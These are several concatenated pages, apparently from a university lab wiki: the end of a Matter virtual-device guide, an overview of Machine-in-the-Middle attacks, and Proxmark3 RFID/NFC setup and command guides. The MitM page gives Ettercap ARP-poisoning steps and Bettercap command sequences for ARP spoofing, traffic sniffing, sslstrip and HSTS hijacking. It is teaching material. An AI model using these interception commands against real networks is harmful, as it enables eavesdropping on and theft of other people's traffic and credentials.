# Discriminator - If the same product occurs several times in the network, the discriminator can be used to differentiate between them.

=== Controller GUI ===
A GUI is required to communicate with the Matter device. There are two options for this:

==== Internal GUI via RPC ====
The standalone MVD is supplied with an integrated GUI, whereby the device is addressed on a different port (RPC port: 33000) than the Matter port (Matter port: 5540).
As soon as the MVD has been created, the control UI for the simulated device opens.

[[File:MVD-GUI.png|500px]]

==== GUI via Mobile App ====
The Google Developer Center has provided a CodeLab<ref name="sample-app" /> with which you can develop a simple Kotlin app for controlling Matter devices.
You can download a skeleton and the tutorial accompanies the developer to implement any missing code sections, which are marked with the comment "<b>// CODELAB:</b>".
They also offer a fully comprehensive solution to compare one's own implementation.

This app was then launched onto a mobile phone using USB debugging.

[[File:MVD-KotlinCode.png|500px]]

https://i.imgur.com/req0VHX.png

https://i.imgur.com/8jGIO3T.png

=== Connection ===
To connect to a Matter device on your mobile phone, you need the following prerequisites:

<li>Android Version - Version >= 8.1</li>
<li>Google Play Service - Version >= 22.36.15</li>
<li>Google Home App - Installed</li>

==== Steps ====
<li>To check whether the mobile phone is ready to connect Matter devices, check whether the selection <b>Matter devices</b> exists under <b>Settings -> Google -> Devices and Sharing</b>. </li>
<li>If not, you should try reinstalling the Google Home app, as downloading this app also downloads the dependencies required to connect to a Matter device.</li>

[[File:Matter-DevicesAndSharing.png|250px]]
[[File:Matter-Devices.png|250px]]

<li>If this step has been completed, a QR code will be generated in the MVD controller GUI.</li>

[[File:MVD-QR.png|500px]]

<li>Click on the + symbol on the app and a new window will open where you can scan the QR code with the camera.</li>

[[File:Matter-Scan.png|250px]]

<li>When connecting the device it should say that Matter Credentials have been created, commissioned and finally connected.</li>

[[File:Matter-Connected.png|250px]]

=== Security aspect ===

This topic was presented as part of elective project 2. The task was to recreate an attack using the MVD and show that it could be detected and mitigated during development. However, due to the newness of the standard, it is not yet widely established and therefore few vulnerabilities and exploits are known. Therefore, we could only try a DoS attack and thus prevent access to the MVD. It was not possible to evaluate whether a DoS occurred on the device itself or on the executing platform.

<references>
<ref name="logo">https://commons.wikimedia.org/wiki/File:Matter_logo.jpg</ref>
<ref name="sample-app">https://developers.home.google.com/codelabs/matter-sample-app#1</ref>
<ref name="matter-info">https://developers.home.google.com/matter/primer</ref>
<ref name="virtual-device">https://developers.home.google.com/tools/virtual-device</ref>
</references>

[[Category:Documentation]]
[[Category:Basic]]

Machine-in-the-Middle (MitM): General

2024-03-12T18:35:49Z

Ikramer:

== Summary ==

This documentation aims to provide a general description of Machine-in-the-Middle (MitM) attacks and two examples of tools - Ettercap and Bettercap - are given. Note that MitM is a very broad term and a lot of aspects, methodologies, and tools will fall into this category. Especially in practice, people will often use the term "MitM" in a variety of contexts. Therefore, this article should give you just an overview: depending on your specific needs and goals a deeper dig into related documentation of the technologies and tools will be necessary. You might also firstly search here in the Elvis Wiki whether an article is already provided and you can start working with that.

== What is a Machine-in-the-Middle (MitM) attack? ==

Formerly called “Man-in-the-Middle” attack this is nowadays deprecated as it is not gender-inclusive. Therefore, and to keep the commonly used abbreviation “MitM”, it is nowadays often called Machine-in-the-Middle or sometimes also “Person-in-the-Middle” (PitM).

NIST, the National Institute of Standards and Technology, a very well-known and in the information security industry high renown organization, has the following – compact, though meaningful – definition of what a MitM is:
“An attack where the adversary positions themselves between the user and the system so that they can intercept and alter data traveling between them.” (https://csrc.nist.gov/glossary/term/mitm, accessed: 22.12.2023)
Please note, that the quotation has been adapted to comply with a gender-neutral language (themselves instead of himself and they instead of he).
The definition given above talks about “user” and “system”. In practice, the “user” is often a client (where the human user is working on an Internet-connected device), and the “system” is usually a server that provides services, processes requests, and delivers responses.

In cyber security, it is often the goal of the adversary (or another interested party like security researchers) to gain a MitM position, as it allows this entity to read data (depending on the scenario the data might be e.g., encrypted), modify data, drop data, do further unintended actions or a combination of them.

Think of a MitM attack like this:

[[File:BasicMitM.png|500px]]

In the picture, the MitM was between a client (user) and a web server providing a website.

MitM is heavily connected to the concept of ‘spoofing’ where spoofing means, very basically speaking, the faking of the (source) parameter in a protocol to mimic another identity.

Think of spoofing like this:

[[File:BasicSpoofing.png|500px]]

== How are Machine-in-the-Middle attack (Tools) working? ==

You have to know that MitM is a very general term and when going into more detail, it becomes clear that there exist several specific techniques to achieve a MitM position.

Below are some common techniques provided with a short description.

=== ARP Spoofing/Cache Poisoning ===
ARP (Address Resolution Protocol, a stateless protocol, which is responsible for translating IP addresses to MAC addresses and maintaining that in a so-called ARP table) Spoofing manipulates the ARP tables in network devices by sending fake ARP messages (works any time as ARP is stateless). The attacker's MAC address is associated with the IP address of a legitimate device then, redirecting traffic through the attacker's system. Cache Poisoning involves injecting false data into the caches of user machines, routers, and/or switches.
ARP Spoofing just works when the attacker has access to the switched local network. A common goal for the attacker is to imitate the gateway the other devices are using to access the internet, as it is the most valuable connection from the perspective of the attacker.

Think of ARP like this:

[[File:ARP.png]]

The attacker now wants to change the mapping of the IP address to MAC.
A very achievable goal for the attacker is to take the position between a client machine and the gateway as previously mentioned.

[[File:ARPSpoofing.png|500px]]

=== DNS Cache Poisoning ===
DNS Cache Poisoning exploits weaknesses in the DNS (Domain Name System which is used by network-capable devices to find the IP address to a given (human-readable) name (like a URI)) resolution process. Attackers inject malicious DNS records into the cache of DNS resolvers, leading to the resolution of incorrect IP addresses for domain names. By corrupting DNS data, attackers can redirect users to malicious websites without their knowledge. One famous example of this is the Kaminsky attack in 2008, which allowed to pretend as an attacker to be www.google.com – fortunately, its most serious flaws in DNS have been patched and it is not as easy anymore as in 2008 to become Google, Amazon, Facebook or any website you can think of.

=== IP Spoofing ===
IP Spoofing is forging the source IP address in packets to deceive the target about the origin of the communication. IP spoofing is often used in conjunction with other techniques for more sophisticated attacks.
One example of an IP Spoofing attack would be the “Smurf attack”. Thereby the attacker sends a large number of Internet Control Message Protocol (ICMP) Echo Request (ping) packets with a spoofed source IP address to a network's broadcast address. This leads to a flood of ICMP Echo Reply packets being sent to the victim, overwhelming its network resources.

=== WiFi MitM ===
Similar to wired networks, MitM also works in wireless environments. To give you an understanding what this might be, we will focus on one specific attack, the “Evil Twin Access Point” attack. In this scenario, an attacker creates a rogue wireless access point (AP) with an SSID identical or closely resembling a legitimate/ trusted WiFi (using e.g., airgeddon). When a device (client) connects (when already connected with the legitime AP, the attacker will have to do a Deauthentication attack or Beacon Frame spoofing), the attacker gains the capability to intercept, monitor, or manipulate the data flowing between the victim's device and the network.
Especially in public WiFi this is dangerous, so one should be careful when using the WiFi at a restaurant/café, airport, train etc.

== How to prevent MitM? ==
Preventing a MitM is as diverse as the attacks and techniques are. Going into detail would go beyond the scope of this article, but just to mention a few ideas: use of encrypted protocols (HTTPS with TLS 1.3, WPA3 for WiFi), intrusion detection/prevention systems (monitoring of network traffic), specialized solutions to specific threats/attacks (e.g., block packets with spoofed source addresses), update systems to patch known vulnerabilities and (as always) education of users (especially in corporate environments) that they should not access sensitive data over the Internet from an insecure WiFi.

== Tools ==
Taking two famous MitM Tools for demonstration: Ettercap and Bettercap
There are many tools on the market that facilitate a MitM attack. Two well-known tools should be presented here.

=== Ettercap ===

From the Ettercap website: “Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.” (https://www.ettercap-project.org/index.html, accessed: 22.12.2023)

Ettercap has a GUI and is therefore easy/easier to use. In Kali Linux, it is preinstalled. When opening Ettercap-graphical, it shows a setup window, where you can change the primary (network) interface that should be used. In most cases (as in ours) the correct one will be selected automatically by Ettercap.

[[File:Ettercap.png|400px]]

When clicking the ‘Accept’ symbol (upper right corner), it will show the main view of the tool.
As can be seen in the screenshot below, Ettercap provides many options for MitM attacks.

In this case, we want to focus on ARP Spoofing/Cache Poisoning (first option).

[[File:Ettercap_ARP.png|600px]]

In the following, a general step-by-step guide will be given on how one could do ARP Spoofing/Cache Poisoning.

1. Scan hosts on the network by clicking the three dots in the upper right corner  Scan for Hosts
2. Select hosts by clicking on the three dots in the upper right corner  Host List  Select the victims (e.g., clients) and add them to Target 1. Select (e.g.,) the gateway and add them to Target 2.
3. Click on the “world-“symbol (see the screenshot above) and click ARP poisoning.
4. In the next opening window, click “OK”.
5. The ARP Spoofing attack should now be running. You can very that with e.g., Wireshark.

Further attacks are now possible, e.g., by intercepting encrypted web traffic (i.e., HTTPS/TLS).

=== Bettercap ===

Bettercap declares itself as “[t]he Swiss Army knife for WiFi, Bluetooth Low Energy, wireless HID hijacking and IPv4 and IPv6 networks reconnaissance and MITM attacks.” (https://www.bettercap.org/, accessed: 22.12.2023)

Also, here we want to do ARP Spoofing/Cache Poisoning.

Bettercap is not preinstalled in Kali Linux, but you can easily install it with:
sudo apt-get install bettercap

Use these commands for a basic ARP Spoofing attack:
sudo bettercap
net.probe on
net.show (optional)
set arp.spoof.targets <single IP-address or -range with “-“ in the last octet>
net.sniff on
http-ui (if you want to see it graphically on 127.0.0.1:80 with user:pass)
arp.spoof on

[[File:Bettercap_UI.png|600px]]

You can load in further “modules” (either in the UI or) in the terminal, for example, to also intercept HTTPS traffic (for websites that don’t have HSTS enabled):
set https.proxy.sslstrip true
https.proxy on

[[File:Bettercap_HTTPSProxy.png|600px]]

Note that with other modules you might get into trouble with the bettercap from apt-get. For troubleshooting, try e.g., bettercap from the Github. (https://github.com/bettercap/bettercap/issues/958, accessed: 22.12.2023)
Therefore, follow these commands:
sudo apt install -y golang git libusb-1.0-0-dev libpcap-dev libnetfilter-queue-dev
git clone https://github.com/bettercap/bettercap.git
cd bettercap
go install
go build
sudo ./bettercap

If you e.g. want to sniff HTTPS traffic and websites enabled HSTS, try the following commands:
sudo ./bettercap
net.probe on
set arp.spoof.targets <single IP-address or -range with “-“ in the last octet>
set arp.spoof.fullduplex true
set arp.spoof.internal true
arp.spoof on
net.sniff on
https.proxy on
hstshijack/hstshijack

[[File:Bettercap_HSTS.png|600px]]

For further details, please note, that there is also a separate Elvis Wiki article: https://wiki.elvis.science/index.php?title=Bettercap

== Further common tools you might try out ==

* mitmproxy
** HTTPS Proxy
** https://mitmproxy.org/
* hetty
** (aims to become) open source alternative to Burp Suite Pro
** https://hetty.xyz/
* proxy.py
** Provides many functionalities, including MitM for HTTPS (TLS Interception)
** https://github.com/abhinavsingh/proxy.py
* Burp Suite (Community Edition)
** Widely used penetration testing tool, especially for Web Applications
** Can be used as MitM e.g., TLS Interception
** https://portswigger.net/burp/releases

== References ==

* https://csrc.nist.gov/glossary/term/mitm
* https://www.ettercap-project.org/index.html
* https://www.bettercap.org/

[[Category:Documentation]]
[[Category:Basic]]

Machine-in-the-Middle (MitM): General

2024-03-12T18:35:24Z

Ikramer:

Proxmark3: Installation

2024-03-12T18:34:46Z

Ikramer:

== Summary ==

Installation of [[Proxmark3 RDV2 Kit|Proxmark3]] on macOS, Linux and Windows for RFID and NFC sniffing.

<pre style="color: red">
To use the Bluetooth Module of the Proxmark3 RDV4 you need to install the https://github.com/RfidResearchGroup/proxmark3.git repository

For installing on Linux please visit https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Installation_Instructions/Linux-Installation-Instructions.md
</pre>

== MacOS installation ==

=== Requirements ===

Xcode (AppStore) is a must.

In addition to make the installation easier have either HomeBrew or MacPorts ready.
A Tutorial for installing:
A) HomeBrew: https://docs.brew.sh/Installation
B) MacPorts: https://www.macports.org/install.php

Because of their different architecture (HomeBrew/MacPorts), some parts of this tutorial are split into:
A) Installation with HomeBrew
B) Installation with MacPorts
Just choose the tutorial that suits your current setup.

=== Installation with HomeBrew ===

1. Download ("tap") the proxmark repository:

brew tap proxmark/proxmark3

2. Install proxmark3:

brew install proxmark3

=== Manual Installation ===

Download the drivers and install them.
If you have MacPorts:

sudo port install p7zip readline libusb libusb-compat perl5 wget qt5\\ arm-none-eabi-gcc pkgconfig

If you have HomeBrew:

brew tap nitsky/stm32
brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig\\ arm-none-eabi-gcc

Now you will need to add QT to the PKG_CONFIG_PATH so it find QT5 (replace YOUR_VERSION with your version number:

export\\ PKG_CONFIG_PATH=/usr/local/Cellar/qt5/<<YOUR_VERSION>>/lib/pkgconfig/

3. And add moc_location in Qt5Core.pc file:

export QT_PKG_CONFIG_QT5CORE=$(find /usr -name Qt5Core.pc 2>/dev/null)
chmod 666 $QT_PKG_CONFIG_QT5CORE
echo "moc_location=\${prefix}/bin/moc" >> $QT_PKG_CONFIG_QT5CORE
chmod 444 $QT_PKG_CONFIG_QT5CORE

4. For link creation to avoid any errors of "readline" (may happen):

brew link --force readline

5. Now either git clone or manually download the Proxmark project. Git clone:

git clone https://github.com/Proxmark/proxmark3.git

6. "cd" to the proxmark3 folder

7. Now jump to the section "Connecting your Proxmark"

=== Connecting your Proxmark ===

1. Insert your Proxmark and run

system_profiler SPUSBDataType

2.a) If your Proxmark is CDC you should somewhere see in the output:

Product ID: 0x504d
Vendor ID: 0x2d2d

2.b) If your Proxmark is an HID device you should see:

Product ID: 0x4b8f
Vendor ID: 0x9ac4

If it is an HID Device you will need to upgrade it, then go to "Upgrading my Proxmark HID->CDC"
If you have an CDC Proxmark you can jump to "Finish Line"

=== Upgrading my Proxmark HID->CDC ===

1. Compile the bootrom, OS and software:

make clean; make

2. Also compile the HID compatible flash program:

cd client/hid-flasher;make

3. Disconnect Apple's HID driver, by installing a dummy kernel driver:

sudo make install_kext
sudo kextcache -system-caches

4. Keep the Proxmark button pressed while reconnecting it to USB. Its yellow and red lights should light up (you can release the button after 5-ish seconds).

5. Now upgrade the bootrom:

./flasher -b ../../bootrom/obj/bootrom.elf

6. cd ../..

7. Disconnect your proxmark and keep the button pressed while reconnecting to USB.

8. While keeping the button pressed run to get the device name:

ls /dev/cu*

You should find a name like "/dev/cu.usbmodem####" (#### represents a number).

9. While still KEEPING PRESSED the button update the FPGA and its OS:

./client/flasher /dev/cu.usbmodem#### armsrc/obj/fullimage.elf

10. Disconnect the proxmark and release the button.

11. Now reconnect your proxmark to USB and run it:

cd proxmark3/client
./proxmark3 /dev/cu.usbmodem####

No need to go to "Finish Line", you are already finished with setting up the Proxmark Environment

=== Finish Line ===

1. Compile the bootrom and OS:

make clean; make

2. Disconnect your Proxmark from USB. Then keep the button pressed while reconnecting it back to USB. You can release the button when you see yellow/orange and red lights on your proxmark. (If you have an Elechouse v2 Proxmark3 or Elechouse v3 Proxmark3 Easy you do not need to press the button)

3. Figure out your device name:

ls /dev/cu*

It should be something with /dev/cu.usbmodem#### (#### represents a number).

4. After you have found your device run the program:

cd proxmark3/client
./proxmark3 /dev/cu.usbmodem####

== Linux installation ==

=== Requirements ===

* Operating system: Ubuntu 16.04 trusty amd64

=== Step 1 Compile resources:===

1. download and install some needed packages and libs

sudo apt-get install p7zip git build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libpcsclite-dev

2. clone proxmark3 git repository

git clone https://github.com/proxmark/proxmark3.git

3. enter repo

cd proxmark3

4. get newest version

git pull

5. Install the blacklist rules

sudo cp -rf driver/77-mm-usb-device-blacklist.rules /etc/udev/rules.d/77-mm-usb-device-blacklist.rules
sudo udevadm control --reload-rules

6. add current user to group

sudo adduser $USER dialout

7. log out and log into your account

8. compile proxmark3

make clean && make all

=== Step 2 Identify proxmark3 device ===

dmesg | grep -i usb
[ 9704.503904] usb 1-3: Manufacturer: proxmark.org
[ 9704.539638] cdc_acm 1-3:1.0: ttyACM0: USB ACM device

=== Step 3 Flash the firmware of the proxmark ===

!!! Do '''NOT''' press enter during the flashing process !!!

./client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf

=== Step 4 Start the proxmark3 client ===

./client/proxmark3 /dev/ttyACM0

== Windows installation ==

=== Requirements ===
The tested Version for Windows was Windows 10, therefore the requirements for successfully completing our installation guide are:
* Windows 10
* [https://git-scm.com/download/win Git for Windows]

=== Installation ===
In order to be able to connect to your Proxmark3 under Windows you need to emulate a Linux environment which is done through a tool called ProxSpace.

1. First you need to download the download the ProxSpace Repository through git.

'''Caution!''' Your current working directory should contain no whitespaces!

git clone https://github.com/Gator96100/ProxSpace.git

2. Inside your ProxSpace Folder you should find "runme.bat". Start it.

3. This will create and install all necessary packets and folders. After you should see the pm3-console.

4. From this console you should change the directory to ProxSpace and download the Proxmark3 Repository:

git clone https://github.com/Proxmark/proxmark3.git

5. After this process is complete, cd to the proxmark3 directory:

cd proxmark3

6. Compile the proxmark3 project:

make clean && make all

7. Install the proxmark3 driver

==== Windows 10 ====
Since this driver is not officially signed by a trusted authority the installation is a bit tricky. You first have to start Windows in save-mode. This is done easiest, when pressing the shift-key while restarting your PC. On reboot you choose Startup-Settings followed by #7 Disable driver signature enforcement.
After the computer restarted you connect the proxmark3 and go to the device manager, right click on the non-identified device (which is the proxmark3) and go to the settings. Click on update driver and search locally for the proxmark3.inf. If you have trouble getting the proxmark3 driver to work, please visit this [[https://store.ryscc.com/blogs/news/how-to-install-a-proxmark3-driver-on-windows-10 picture-guided tutorial]]

After, the installation should be complete and you can safely restart your PC to normal mode again. From there start the runme.bat and the pm3-console should appear.

==== Windows 7 ====
[[File:Win7-disable-driversignature.png|520px|right]]

* Start command prompt (cmd.exe) as '''administrator''' and execute:

bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

* Open the device manager, right-click on the unknow device "proxmark3" and select "update"
* Select the manual driver selection, and within your ''ProxSpace'' folder select the ''msys2\proxmark3\driver'' subfolder

After the successful driver setup you may want to disable testsigning again, and restart windows

bcdedit.exe -set TESTSIGNING OFF

=== Update your Proxmark3 ===

To update the firmware of your Proxmark3 to the latest version, open cmd and type in (with x standing for the right number of your COM port, e.g. COM2):

./proxmark/client/flasher COMx -b /bootrom/obj/bootrom.elf
./proxmark/client/flasher COMX ./armsrc/obj/fullimage.elf

=== Connecting to your Proxmark3 ===

After having done all the steps above you can safely connect to your Proxmark3 through (where x again stands for the right number of your COM port, e.g. COM2):

./client/proxmark3.exe COMx

== Usage ==

For using the Proxmark3 please visit our second documentation [[Proxmark3: Useful commands]] and feel free to have a look at the [https://github.com/Proxmark/proxmark3 Proxmark Repository!]

== Resources and Tutorials ==

* Client commands: https://github.com/Proxmark/proxmark3/wiki/commands
* Usage example: https://www.youtube.com/watch?v=FODGYfhqb4Q
* Basic tutorial for RFID usage: https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/
* Advanced tutorial: https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/
* Capture NFC traffic of apple pay transaction: https://salmg.net/2017/12/29/analyzing-an-apple-pay-transaction-with-proxmark3/

== Used Hardware ==

[[Proxmark 3]]

== References ==
* Product page and infos: https://www.elechouse.com/elechouse/index.php?main_page=product_info&cPath=90_93&products_id=2264&zenid=kmvhiob7nq1orc4pfjtf53sbr7
* Manual: https://www.elechouse.com/elechouse/images/product/proxmark3_V2/Proxmark3%20V2%20User%20Guid.pdf
* MacOS 10.x client installation: https://github.com/Proxmark/proxmark3/wiki/MacOS
* Linux 16.04 client installation: https://github.com/Proxmark/proxmark3/wiki/Ubuntu-Linux
* Windows 10 client installation: https://github.com/Proxmark/proxmark3/wiki/Windows

[[Category:Documentation]]
[[Category:Pentesting]]

Proxmark3: Useful commands

2024-03-12T18:34:21Z

Ikramer:

== Summary ==

"NFC Hacking with Proxmark3" has been conducted during a school project, in which we analyzed the implementation of our NFC System. Which includes our on-campus cards, the printing system, snacks and drinks machines and the classroom doors. The additional output of this project was a (tested) guide on how to install the Proxmark3. For further details with regards to our project, concrete tests and more advanced commands please see our documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]].

In this thread we show a short overview of the different commands the proxmark3 environment has to offer.

== Requirements ==

Please see the [[Proxmark3: Installation]] guide for a full overview of requirements.
However, the Operating systems on which we tested the installation are:
*Ubuntu 16.04/18.03
*Windows 10
*MacOS 10.x

In order to complete the "Introduction" described below, you have to complete the [[Proxmark3: Installation]] guide first.

This overview is based on the proxmark3 client, published on Github on the 29. May 2019

== Introduction ==

This introduction should only give you a glimpse of the available commands and possibilities of the Proxmark3. The official Proxmark3-Repository, as well as the more advanced Ice-Man-Fork Repository (both linked in the reference section), provide lots of functions, though most of them are still in their alpha stage and therefore still need a bit of tinkering in order to work well. For further commands and our security analysis of our university feel free to have a look at our documentation!

=== The Commands ===

Connect via:
: Linux: <code>./client/proxmark3 /dev/ttyACM0</code>
: Windows <code>./client/proxmark3.exe COMx</code>

After you have successfully completed the Install Proxmark3 guide, you should see a screen similar to this when connecting to your proxmark3:

proxmark3>

You can always (in whichever menu you are) type 'help' in order to have a full list of available commands in that menu.
If you enter help in the start menu, you will get following output:
help This help. Use '<command> help' for details of a particular command.
data { Plot window / data buffer manipulation... }
hf { High Frequency commands... }
hw { Hardware commands... }
lf { Low Frequency commands... }
emv { EMV iso14443 and iso7816... }
sc { Smartcard commands... }
script { Scripting commands }
quit Exit program
exit Exit program

==== command: hw ====

"hw" stands for hardware and lists a bunch of commands to get basic hardware information of the Proxmark3.

detectreader ['l'|'h'] -- Detect external reader field (option 'l' or 'h' to limit to LF or HF)
fpgaoff Set FPGA off
lcd <HEX command> <count> -- Send command/data to LCD
lcdreset Hardware reset LCD
readmem [address] -- Read memory at decimal address from flash
reset Reset the Proxmark3
setlfdivisor <19 - 255> -- Drive LF antenna at 12Mhz/(divisor+1)
setmux <loraw|hiraw|lopkd|hipkd> -- Set the ADC mux to a specific value
tune ['l'|'h'] -- Measure antenna tuning (option 'l' or 'h' to limit to LF or HF)
version Show version information about the connected Proxmark
status Show runtime status information about the connected Proxmark
ping Test if the pm3 is responsive

We can check the version of the different builds of the Proxmark3 currently running on it:

proxmark3> hw version
Prox/RFID mark3 RFID instrument
bootrom: master/v3.1.0-94-gd38bb3a-dirty-suspect 2019-06-01 14:36:05
os: master/v3.1.0-94-gd38bb3a-dirty-suspect 2019-06-01 14:36:22
fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04
fpga_hf.bit built for 2s30vq100 on 2019/03/20 at 08:08:07

We can now check the antenna strength of the attached antennas. If you have borrowed the proxmark3 of the Elvis IoT Lab you will get following output:

(If no smart card is in proximity):

proxmark3> hw tune
Measuring antenna characteristics, please wait.........
# LF antenna: 43.86 V @ 125.00 kHz
# LF antenna: 21.04 V @ 134.00 kHz
# LF optimal: 44.14 V @ 123.71 kHz
# HF antenna: 30.41 V @ 13.56 MHz

If we now lay a NFC card on the antennas the voltages changes:

proxmark3> hw tune
Measuring antenna characteristics, please wait.........
# LF antenna: 44.27 V @ 125.00 kHz
# LF antenna: 21.04 V @ 134.00 kHz
# LF optimal: 44.27 V @ 123.71 kHz
# HF antenna: *19.39 V* @ 13.56 MHz

We can see, that the voltage of the HF antenna dropped from 30 volts to about 19 volts. We can assume that the placed NFC card is a high frequency card.

==== command: hf ====
"hf" stands for high frequency, which are specified at a carrier frequency of about 13.56 MHz.
Possible commands that can be issued are listed below:

proxmark3> hf
14a { ISO14443A RFIDs... }
14b { ISO14443B RFIDs... }
15 { ISO15693 RFIDs... }
epa { German Identification Card... }
legic { LEGIC RFIDs... }
iclass { ICLASS RFIDs... }
mf { MIFARE RFIDs... }
mfu { MIFARE Ultralight RFIDs... }
mfp { MIFARE Plus RFIDs... }
topaz { TOPAZ (NFC Type 1) RFIDs... }
fido { FIDO and FIDO2 authenticators... }
tune Continuously measure HF antenna tuning
list List protocol data in trace buffer
plot Plot signal
search Search for known HF tags [preliminary]
snoop <samples to skip (10000)> <triggers to skip (1)> Generic HF Snoop

Most of these command-options are for specific cards from specific manufacturers (e.g. legic, iclass, mf). On the other hand, 14a is an NFC card standard that describes low-level communication of smart cards. Not all follow the same standard and some implement proprietary protocols. The Mifare cards are built upon the 14a standard and have additional commands which can be found in their specific directory.

You usually start with the '''hf search''' command, which sends the card some data and analyses the return messages of the card. With this information, the Proxmark3 can make assumptions on what kind of card it may be.

proxmark3> hf search
UID : 01 02 03 04
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Chinese magic backdoor commands (GEN 1a) detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Here we see that this card is classified as a Mifare Classic 1k. In particular, it also answers back to the Chinese magic backdoor command which tells us that this card is a fully cloneable card that allows us to change the UID block of the card. More on this can be found in the Documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]]

We can now issue the '''hf plot''' command which will display a waveform with the just sent and received data.

[[File:Waveform.PNG|frameless]]

Thankfully people wrote programs that will parse this data to a dedicated protocol ('''hf list'''). In this case, we want to parse it as a Mifare classic communication with '''hf list mf'''.

proxmark3> hf list mf
Recorded Activity (TraceLen = 156 bytes)
Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer
iso14443a - All times are in carrier periods (1/13.56Mhz)
iClass - Timings are not as accurate
Start | End | Src | Data (! denotes parity error, ' denotes short bytes) | CRC | Annotation |
-----------|------------|-----|-----------------------------------------------------------------|-----|--------------------|
0 | 992 | Rdr | 40' | | MAGIC WUPC1
2484 | 3060 | Tag | 0a' | |
7040 | 8352 | Rdr | 43 | | MAGIC WUPC2
9524 | 10100 | Tag | 0a' | |
14080 | 18848 | Rdr | 50 00 57 cd | ok | HALT
0 | 992 | Rdr | 52' | | WUPA
2228 | 4596 | Tag | 04 00 | |
7040 | 9504 | Rdr | 93 20 | | ANTICOLL
10676 | 16564 | Tag | 01 02 03 04 04 | |
19328 | 29856 | Rdr | 93 70 01 02 03 04 04 8e 25 | ok | SELECT_UID
31028 | 34548 | Tag | 08 b6 dd | |
47488 | 52192 | Rdr | 60 00 f5 7b | ok | AUTH-A(0)
54196 | 58932 | Tag | 01 20 01 45 | | AUTH: nt

More on what is happening here can be found in the documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]]

There are many more commands. For example, '''hf data''' to manipulate the raw data, or '''hf mf''' to interact with Mifare Classic cards. Since this is only a short introduction to commands of the Proxmark3 we won't go deeper. If one is interested and wants to find out more about the Proxmark you we highly recommend the documentation [[Proxmark3: FH-Campus Card NFC Security Valuation]] - where not only the essentials are covered, but also an in-depth explanation about the technology used, the Proxmark itself, the Mifare Classic Standard and a validation of the FH-Campus card system.

It is definitely worth checking out the paper since it also shows which vulnerabilities were found in the school card system.

== Used Hardware ==

[https://wiki.elvis.science/index.php?title=Proxmark_3 Proxmark3]

== Additional Documentation ==

* [[Proxmark3: Installation]]
* [[Proxmark3: FH-Campus Card NFC Security Valuation]]

== References ==

* https://github.com/Proxmark/proxmark3
* https://github.com/iceman1001/proxmark3

[[Category:Documentation]]
[[Category:Pentesting]]

Proxmark3 RDV4

2024-03-12T18:33:44Z

Ikramer:

== Summary ==

[[File:Prox no case size.jpg|thumb|500px|Proxmark3 RDV4]]

The Proxmark is an RFID swiss-army tool, allowing for both high and low-level interactions with the vast majority of RFID/NFC tags and systems worldwide (proxmark.com).

The Proxmark3 Dev Kit 4 (RDV4) is more compact and portable than the older versions and brings various improvements to the open-source design. Antennas are highly customizable and there is a new multifunction multiplexing interface to support additional components such as external battery, external active high powered antenna, Bluetooth interfaces and SIM/Smart card reader (hackerwarehouse.com).

This write-up concentrates on the improvements of the RDV4 over the RDV2 and will not cover the basic operations. For more, please visit [[Proxmark3: Useful commands]] or [[Proxmark3: FH-Campus Card NFC Security Valuation]]

== Requirements ==

* Proxmark3 RDV4

To use the Bluetooth module & for new features of the RDV4 use the new [https://github.com/RfidResearchGroup/proxmark3.git new repository]

Setting-up & compiling are explained in the [https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/md/Installation_Instructions/Linux-Installation-Instructions.md original documentation]

For a quick introduction to the default commands please visit: [[Proxmark3: Useful commands]]

== Smart Card ==

Hidden under the lid of the Proxmark RDV4 you can find a smart card reader. You can directly insert a smartcard directly into to the slot or insert it into the optional smartcard extender, which allows for card size formats.

[[File:Prox smartcard.jpg|800px|Proxmark with the smartcard extender]]

For more information on reading and writing to smartcards please visit the follow-up post [[Proxmark3 RDV4: SmartCard]]

== Bluetooth Module ==

With the Blue-Shark Module it is now possible to wirelessly communicate with the Proxmark RDV4!

=== Installation ===

<div><ul>
<li style="display: inline-block;"> [[File:Prox open case.jpg|thumb|none|x300px|1. Remove the antenna cover and use the plastic prying tool to open the case.]] </li>
<li style="display: inline-block;"> [[File:Prox remove antenna.jpg|thumb|none|x300px|2. Remove the six screws of the antenna.]] </li>
<li style="display: inline-block;"> [[File:Prox bt cable.jpg|thumb|none|x300px|3. Connect the Bluetooth cable to the Proxmark by first opening the black hinge of the ribbon cable.]] </li>
<li style="display: inline-block;"> [[File:Prox bt cable2.jpg|thumb|none|x300px|4. Insert the ribbon cable into the connector and close the hinge again.]] </li>
<li style="display: inline-block;"> [[File:Prox bt.jpg|thumb|none|x300px|5. Remove the blue tape on the Bluetooth module.]] </li>
<li style="display: inline-block;"> [[File:Prox bt2.jpg|thumb|none|x300px|6. Push the module onto the Proxmark.]] </li>
<li style="display: inline-block;"> [[File:Prox bt3.jpg|thumb|none|x300px|7. Connect the antenna to the Proxmark and add the cover of the antenna.]]</li>
</ul></div>

To enable this feature you need to install the newest RfidResearchGroup/proxmark3 repo and enable the Bluetooth setting in the makefile: the instructions are based on [https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/bt_manual_v10.md Blue Shark Installation]

=== Linux installation ===

; Preperation
* Update system:
: <code>sudo apt-get update</code>
* Install requirements:
: <code>sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev</code>
